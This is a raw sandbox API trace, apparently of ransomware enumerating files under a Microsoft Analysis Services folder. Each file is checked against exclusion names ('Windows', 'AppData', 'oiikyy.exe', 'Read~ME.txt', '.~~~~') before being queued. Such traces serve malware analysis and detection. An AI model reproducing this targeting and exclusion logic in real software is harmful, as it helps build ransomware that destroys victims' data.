	[0082.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Analysis Services", lpSrch="AppData") returned 0x0
	[0082.459] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.459] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services", lpString2="C:\\Windows") returned -1
	[0082.459] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.459] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services", lpString2="C:\\System Volume Information") returned -1
	[0082.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0082.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc46ce60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc46ce60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0082.459] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.459] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.459] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.459] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.459] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.459] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc46ce60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc46ce60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.459] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.459] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.459] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.459] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.459] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.460] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.460] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1
	[0082.460] lstrcmpiW (lpString1="AS OLEDB", lpString2="Windows") returned -1
	[0082.460] lstrcmpW (lpString1="AS OLEDB", lpString2=".") returned 1
	[0082.460] lstrcmpW (lpString1="AS OLEDB", lpString2="..") returned 1
	[0082.460] lstrcmpW (lpString1="AS OLEDB", lpString2="AppData") returned 1
	[0082.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB", lpSrch="AppData") returned 0x0
	[0082.460] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.460] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB", lpString2="C:\\Windows") returned -1
	[0082.460] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.460] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB", lpString2="C:\\System Volume Information") returned -1
	[0082.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0082.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0082.460] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.460] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.460] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.460] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.460] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.460] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.461] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.461] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.461] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.461] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.461] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.461] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.461] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1
	[0082.461] lstrcmpiW (lpString1="10", lpString2="Windows") returned -1
	[0082.461] lstrcmpW (lpString1="10", lpString2=".") returned 1
	[0082.461] lstrcmpW (lpString1="10", lpString2="..") returned 1
	[0082.461] lstrcmpW (lpString1="10", lpString2="AppData") returned -1
	[0082.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10", lpSrch="AppData") returned 0x0
	[0082.461] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.461] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10", lpString2="C:\\Windows") returned -1
	[0082.461] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.461] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10", lpString2="C:\\System Volume Information") returned -1
	[0082.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0082.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0082.523] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.523] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.524] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.524] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.524] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.524] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.524] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.524] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.524] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.524] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.524] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.524] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.524] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0082.524] lstrcmpiW (lpString1="Cartridges", lpString2="Windows") returned -1
	[0082.524] lstrcmpW (lpString1="Cartridges", lpString2=".") returned 1
	[0082.524] lstrcmpW (lpString1="Cartridges", lpString2="..") returned 1
	[0082.524] lstrcmpW (lpString1="Cartridges", lpString2="AppData") returned 1
	[0082.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges", lpSrch="AppData") returned 0x0
	[0082.524] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.525] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges", lpString2="C:\\Windows") returned -1
	[0082.525] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.525] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges", lpString2="C:\\System Volume Information") returned -1
	[0082.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0082.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0082.530] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.530] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.530] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.530] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.530] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.530] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.530] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.530] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.530] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.530] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.530] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.530] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.530] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1
	[0082.530] lstrcmpiW (lpString1="as80.xsl", lpString2="Windows") returned -1
	[0082.531] lstrcmpW (lpString1="as80.xsl", lpString2="oiikyy.exe") returned -1
	[0082.531] StrStrW (lpFirst="as80.xsl", lpSrch=".~~~~") returned 0x0
	[0082.531] lstrcmpW (lpString1="as80.xsl", lpString2="Read~ME.txt") returned -1
	[0082.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.531] GetCurrentThreadId () returned 0x618
	[0082.531] RtlWakeConditionVariable () returned 0x365f48
	[0082.531] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1
	[0082.531] lstrcmpiW (lpString1="as90.xsl", lpString2="Windows") returned -1
	[0082.531] lstrcmpW (lpString1="as90.xsl", lpString2="oiikyy.exe") returned -1
	[0082.531] StrStrW (lpFirst="as90.xsl", lpSrch=".~~~~") returned 0x0
	[0082.531] lstrcmpW (lpString1="as90.xsl", lpString2="Read~ME.txt") returned -1
	[0082.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.531] GetCurrentThreadId () returned 0x618
	[0082.531] RtlWakeConditionVariable () returned 0x365f48
	[0082.531] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1
	[0082.531] lstrcmpiW (lpString1="Informix.xsl", lpString2="Windows") returned -1
	[0082.531] lstrcmpW (lpString1="Informix.xsl", lpString2="oiikyy.exe") returned -1
	[0082.531] StrStrW (lpFirst="Informix.xsl", lpSrch=".~~~~") returned 0x0
	[0082.531] lstrcmpW (lpString1="Informix.xsl", lpString2="Read~ME.txt") returned -1
	[0082.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.531] GetCurrentThreadId () returned 0x618
	[0082.532] RtlWakeConditionVariable () returned 0x365f48
	[0082.532] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1
	[0082.532] lstrcmpiW (lpString1="msjet.xsl", lpString2="Windows") returned -1
	[0082.532] lstrcmpW (lpString1="msjet.xsl", lpString2="oiikyy.exe") returned -1
	[0082.532] StrStrW (lpFirst="msjet.xsl", lpSrch=".~~~~") returned 0x0
	[0082.532] lstrcmpW (lpString1="msjet.xsl", lpString2="Read~ME.txt") returned -1
	[0082.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.532] GetCurrentThreadId () returned 0x618
	[0082.532] RtlWakeConditionVariable () returned 0x365f48
	[0082.532] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1
	[0082.532] lstrcmpiW (lpString1="sql2000.xsl", lpString2="Windows") returned -1
	[0082.532] lstrcmpW (lpString1="sql2000.xsl", lpString2="oiikyy.exe") returned 1
	[0082.532] StrStrW (lpFirst="sql2000.xsl", lpSrch=".~~~~") returned 0x0
	[0082.532] lstrcmpW (lpString1="sql2000.xsl", lpString2="Read~ME.txt") returned 1
	[0082.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.532] GetCurrentThreadId () returned 0x618
	[0082.532] RtlWakeConditionVariable () returned 0x365f48
	[0082.532] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1
	[0082.532] lstrcmpiW (lpString1="sql70.xsl", lpString2="Windows") returned -1
	[0082.532] lstrcmpW (lpString1="sql70.xsl", lpString2="oiikyy.exe") returned 1
	[0082.532] StrStrW (lpFirst="sql70.xsl", lpSrch=".~~~~") returned 0x0
	[0082.532] lstrcmpW (lpString1="sql70.xsl", lpString2="Read~ME.txt") returned 1
	[0082.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.533] GetCurrentThreadId () returned 0x618
	[0082.533] RtlWakeConditionVariable () returned 0x365f48
	[0082.533] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1
	[0082.533] lstrcmpiW (lpString1="sql90.xsl", lpString2="Windows") returned -1
	[0082.533] lstrcmpW (lpString1="sql90.xsl", lpString2="oiikyy.exe") returned 1
	[0082.533] StrStrW (lpFirst="sql90.xsl", lpSrch=".~~~~") returned 0x0
	[0082.533] lstrcmpW (lpString1="sql90.xsl", lpString2="Read~ME.txt") returned 1
	[0082.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.533] GetCurrentThreadId () returned 0x618
	[0082.533] RtlWakeConditionVariable () returned 0x365f48
	[0082.533] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1
	[0082.533] lstrcmpiW (lpString1="Sybase.xsl", lpString2="Windows") returned -1
	[0082.533] lstrcmpW (lpString1="Sybase.xsl", lpString2="oiikyy.exe") returned 1
	[0082.533] StrStrW (lpFirst="Sybase.xsl", lpSrch=".~~~~") returned 0x0
	[0082.533] lstrcmpW (lpString1="Sybase.xsl", lpString2="Read~ME.txt") returned 1
	[0082.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.533] GetCurrentThreadId () returned 0x618
	[0082.533] RtlWakeConditionVariable () returned 0x365f48
	[0082.533] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0
	[0082.533] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0082.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.534] GetCurrentThreadId () returned 0x618
	[0082.534] RtlWakeConditionVariable () returned 0x365f48
	[0082.536] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1
	[0082.536] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="Windows") returned -1
	[0082.536] lstrcmpW (lpString1="msmdlocal.dll", lpString2="oiikyy.exe") returned -1
	[0082.536] StrStrW (lpFirst="msmdlocal.dll", lpSrch=".~~~~") returned 0x0
	[0082.537] lstrcmpW (lpString1="msmdlocal.dll", lpString2="Read~ME.txt") returned -1
	[0082.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.537] GetCurrentThreadId () returned 0x618
	[0082.537] RtlWakeConditionVariable () returned 0x365f48
	[0082.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1
	[0082.537] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="Windows") returned -1
	[0082.537] lstrcmpW (lpString1="msmgdsrv.dll", lpString2="oiikyy.exe") returned -1
	[0082.537] StrStrW (lpFirst="msmgdsrv.dll", lpSrch=".~~~~") returned 0x0
	[0082.537] lstrcmpW (lpString1="msmgdsrv.dll", lpString2="Read~ME.txt") returned -1
	[0082.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.537] GetCurrentThreadId () returned 0x618
	[0082.537] RtlWakeConditionVariable () returned 0x365f48
	[0082.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1
	[0082.537] lstrcmpiW (lpString1="msolap100.dll", lpString2="Windows") returned -1
	[0082.537] lstrcmpW (lpString1="msolap100.dll", lpString2="oiikyy.exe") returned -1
	[0082.537] StrStrW (lpFirst="msolap100.dll", lpSrch=".~~~~") returned 0x0
	[0082.537] lstrcmpW (lpString1="msolap100.dll", lpString2="Read~ME.txt") returned -1
	[0082.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.537] GetCurrentThreadId () returned 0x618
	[0082.537] RtlWakeConditionVariable () returned 0x365f48
	[0082.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1
	[0082.537] lstrcmpiW (lpString1="msolui100.dll", lpString2="Windows") returned -1
	[0082.537] lstrcmpW (lpString1="msolui100.dll", lpString2="oiikyy.exe") returned -1
	[0082.538] StrStrW (lpFirst="msolui100.dll", lpSrch=".~~~~") returned 0x0
	[0082.538] lstrcmpW (lpString1="msolui100.dll", lpString2="Read~ME.txt") returned -1
	[0082.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.538] GetCurrentThreadId () returned 0x618
	[0082.538] RtlWakeConditionVariable () returned 0x365f48
